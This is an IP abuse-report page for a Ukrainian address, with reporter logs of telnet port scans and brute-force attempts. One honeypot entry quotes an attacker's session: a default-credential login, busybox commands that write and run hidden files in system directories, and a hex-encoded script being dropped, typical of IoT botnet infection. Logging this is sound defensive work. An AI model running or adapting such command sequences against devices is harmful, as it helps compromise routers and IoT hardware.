JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

37.52.161.127

Recent Activity

Abuse confidence score ?

100% Critical

25 reports

18 reporters · latest 4 hours ago

ISP	JSC Ukrtelecom
Usage Type	Fixed Line ISP
ASN	AS6849
Hostname(s)	127-161-52-37.pool.ukrtel.net
Domain Name	ukrtelecom.ua
Country	🇺🇦 Ukraine
City	Bohodukhiv, Kharkiv

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

Reports Activity

Example preview

Report Categories (Last 60 Days)

Example preview

Top Reporter Countries (Last 60 Days)

Example preview

Account required for the enhanced features Log in Sign up

IP Abuse Reports for 37.52.161.127

Export CSV

This IP address has been reported a total of 25 times from 18 distinct sources. 37.52.161.127 was first reported on October 14th 2026, and the most recent report was 4 hours ago. In the last 60 days, the top reporter locations were: United States of America with 8 reports; Belarus with 4 reports; Poland with 3 reports. The most common categories in these recent reports were: Port Scan 21 times; Brute-Force 5 times; Hacking 5 times; IoT Targeted 4 times; Exploited Host 1 time.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇵🇱 bart@	2026-10-25 20:19:18 (4 hours ago)	Automated scan detection against redacted protected targets. Hits=1; port 23 proto 6 detection honey ... show more Automated scan detection against redacted protected targets. Hits=1; port 23 proto 6 detection honeypot_tcp show less	Port Scan
🇺🇸 xmission.com	2026-10-25 17:11:50 (8 hours ago)	Blocked by UFW (TCP on 23) Source port: 11270 TTL: 51 Packet length: 60 TOS: 0x00 This report (for ... show more Blocked by UFW (TCP on 23) Source port: 11270 TTL: 51 Packet length: 60 TOS: 0x00 This report (for 37.52.161.127) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇺🇸 zensatori	2026-10-25 14:12:03 (11 hours ago)	Cowrie honeypot (telnet): 1 login attempt(s) [admin/1234]; commands: enable ; system ; shell ; sh ; ... show more Cowrie honeypot (telnet): 1 login attempt(s) [admin/1234]; commands: enable ; system ; shell ; sh ; linuxshell ; ping ;sh ; /bin/busybox ; /bin/busybox hostname PBOC ; /bin/busybox echo > /tmp/.b && sh /tmp/.b && cd /tmp/ ; /bin/busybox echo > /var/.b && sh /var/.b && cd /var/ ; /bin/busybox echo > /var/run/.b && sh /var/run/.b && cd /var/run/ ; /bin/busybox echo > /var/tmp/.b && sh /var/tmp/.b && cd /var/tmp/ ; /bin/busybox echo > /dev/.b && sh /dev/.b && cd /dev/ ; /bin/busybox echo > /dev/shm/.b && sh /dev/shm/.b && cd /dev/shm/ ; /bin/busybox echo > /etc/.b && sh /etc/.b && cd /etc/ ; /bin/busybox echo > /mnt/.b && sh /mnt/.b && cd /mnt/ ; /bin/busybox echo > /usr/.b && sh /usr/.b && cd /usr/ ; /bin/busybox echo > /boot/.b && sh /boot/.b && cd /boot/ ; /bin/busybox echo > /home/.b && sh /home/.b && cd /home/ ; /bin/busybox ; /bin/busybox echo -ne "\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63" > .k ; show less	Brute-Force IoT Targeted
🇫🇷 security.rdmc.fr	2026-10-25 11:47:56 (13 hours ago)	Port Scan Attack proto:TCP src:11764 dst:23	Port Scan
🇺🇸 xmission.com	2026-10-25 08:15:20 (17 hours ago)	Blocked by UFW (TCP on 23) Source port: 11750 TTL: 52 Packet length: 60 TOS: 0x00 This report (for ... show more Blocked by UFW (TCP on 23) Source port: 11750 TTL: 52 Packet length: 60 TOS: 0x00 This report (for 37.52.161.127) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇺🇸 RAP	2026-10-25 05:04:57 (20 hours ago)	2026-10-25 05:04:57 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇬🇧 Andrew	2026-10-25 04:51:52 (20 hours ago)	Blocked by UFW (TCP on port 23). Source port: 11469 TTL: 54 Packet length: 60 TOS: 0x00 This report ... show more Blocked by UFW (TCP on port 23). Source port: 11469 TTL: 54 Packet length: 60 TOS: 0x00 This report (for 37.52.161.127) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇫🇮 mikkopal88	2026-10-25 03:45:13 (21 hours ago)	TCP SYN port scan to Telnet 23-2323	Port Scan IoT Targeted
🇩🇪 Admins@FBN	2026-10-25 01:19:44 (23 hours ago)	FW-PortScan: Traffic Blocked srcport=10430 dstport=23	Port Scan
🇵🇱 mkey	2026-10-25 00:20:02 (1 day ago)	Verified scan activity detected by local IDS/firewall correlation. SCAN: HIGHRISK_SINGLEPORT \| PORTS ... show more Verified scan activity detected by local IDS/firewall correlation. SCAN: HIGHRISK_SINGLEPORT \| PORTS=23 \| HITS=2 \| IPSET=ADD \| FIRST=2026-10-25 02:17:58 \| LAST=2026-10-25 02:17:59. Last seen 2026-10-25 02:17:59. show less	Port Scan
🇵🇱 mkey	2026-10-24 12:40:01 (1 day ago)	Verified scan activity detected by local IDS/firewall correlation. SCAN: HIGHRISK_SINGLEPORT \| PORTS ... show more Verified scan activity detected by local IDS/firewall correlation. SCAN: HIGHRISK_SINGLEPORT \| PORTS=23 \| HITS=2 \| IPSET=ADD \| FIRST=2026-10-24 14:36:59 \| LAST=2026-10-24 14:37:00. Last seen 2026-10-24 14:37:00. show less	Port Scan
🇫🇮 6kilowatti	2026-10-24 03:55:54 (1 day ago)	2026-10-24T06:55:53.772615+03:00 koti kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:bd:29:2d:18:f ... show more 2026-10-24T06:55:53.772615+03:00 koti kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:bd:29:2d:18:fd:74:70:71:9e:08:00 SRC=37.52.161.127 DST=10.0.0.30 LEN=60 TOS=0x00 PREC=0x00 TTL=55 ID=49049 DF PROTO=TCP SPT=10675 DPT=23 WINDOW=29200 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇫🇷 security.rdmc.fr	2026-10-24 01:00:54 (2 days ago)	Port Scan Attack proto:TCP src:11181 dst:23	Port Scan
🇧🇾 stroytrest	2026-10-22 14:48:53 (3 days ago)	2026-10-22T17:48:52.914559+03:00 gate kernel: [1742822.804215] nftables: JAIL-TELNET IN=wan OUT= MAC ... show more 2026-10-22T17:48:52.914559+03:00 gate kernel: [1742822.804215] nftables: JAIL-TELNET IN=wan OUT= MAC= SRC=37.52.161.127 DST=xxx.xxx.xxx.xxx LEN=60 TOS=0x00 PREC=0x00 TTL=55 ID=26804 DF PROTO=TCP SPT=11678 DPT=23 WINDOW=29200 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇧🇾 stroytrest	2026-10-21 22:02:42 (4 days ago)	2026-10-22T01:02:41.136684+03:00 gate kernel: [1682451.026341] nftables: JAIL-TELNET IN=wan OUT= MAC ... show more 2026-10-22T01:02:41.136684+03:00 gate kernel: [1682451.026341] nftables: JAIL-TELNET IN=wan OUT= MAC= SRC=37.52.161.127 DST=xxx.xxx.xxx.xxx LEN=60 TOS=0x00 PREC=0x00 TTL=55 ID=6730 DF PROTO=TCP SPT=11284 DPT=23 WINDOW=29200 RES=0x00 SYN URGP=0 ... show less	Port Scan

Showing 1 to 15 of 25 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 2604:a880:400:d1:0:5:4408:f001

🇬🇧 167.99.83.52

🇨🇳 112.47.143.143

🇺🇸 64.62.197.20

🇺🇸 43.135.135.212

🇬🇧 35.203.211.21

🇨🇳 223.4.202.238

🇰🇷 211.253.31.30

🇧🇷 205.210.31.253

🇩🇪 167.94.146.69

🇸🇬 145.223.144.41

🇨🇳 118.121.202.149

🇰🇷 112.175.17.81

🇷🇺 94.243.15.21

🇮🇶 65.20.163.62

🇨🇳 58.215.207.238

🇩🇪 47.245.135.194

🇬🇧 35.203.210.209

🇧🇷 187.125.255.165

🇧🇷 179.94.172.32